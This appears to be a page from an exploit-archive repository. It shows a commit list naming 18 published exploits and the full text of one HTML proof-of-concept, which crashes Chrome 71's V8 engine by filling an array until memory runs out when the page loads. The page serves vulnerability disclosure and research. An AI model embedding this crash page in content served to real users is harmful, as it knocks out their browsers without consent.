fa261f0558
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
34 lines
No EOL
702 B
HTML
34 lines
No EOL
702 B
HTML
<!--
|
|
# Exploit Title: Google Chrome 71.0.3578.98 V8 JavaScript Engine - Out-of-memory in invalid array length. Denial of Service (PoC)
|
|
# Google Dork: N/A
|
|
# Date: 2019-01-10
|
|
# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)
|
|
# Vendor Homepage: https://www.google.com/
|
|
# Version: Google Chrome 71.0.3578.98, V8 version 7.3.0 (candidate)
|
|
# Tested on: Windows x64
|
|
# CVE : N/A
|
|
|
|
# Description:
|
|
|
|
# Fatal javascript OOM in invalid array length
|
|
|
|
# https://bugs.chromium.org/p/v8/issues/detail?id=8668
|
|
-->
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<script>
|
|
|
|
function main() {
|
|
|
|
var ar = [];
|
|
|
|
for(let i = 0; i < 0x20000000; ++i){
|
|
ar[i]=i;
|
|
}
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload=main()></body>
|
|
</html> |